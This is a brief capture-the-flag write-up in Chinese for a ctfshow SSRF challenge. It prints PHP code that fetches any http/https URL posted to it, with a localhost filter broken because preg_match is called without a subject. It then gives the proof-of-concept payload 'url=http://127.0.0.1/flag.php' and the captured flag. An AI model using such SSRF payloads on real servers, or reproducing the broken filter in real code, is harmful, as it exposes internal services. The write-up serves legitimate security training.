nginx/1.18.0PHP/7.3.22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
分析:
协议必须是 http/https ,但过滤了 localhost 和 127.0.0
poc
url=http://127.0.0.1/flag.php
preg_match 没传参可还行。。因为有 error_reporting(0)
,报错的地方恒为 False
…
flag
ctfshow{db8a37d7-f045-4113-8a75-379ad1cd8936}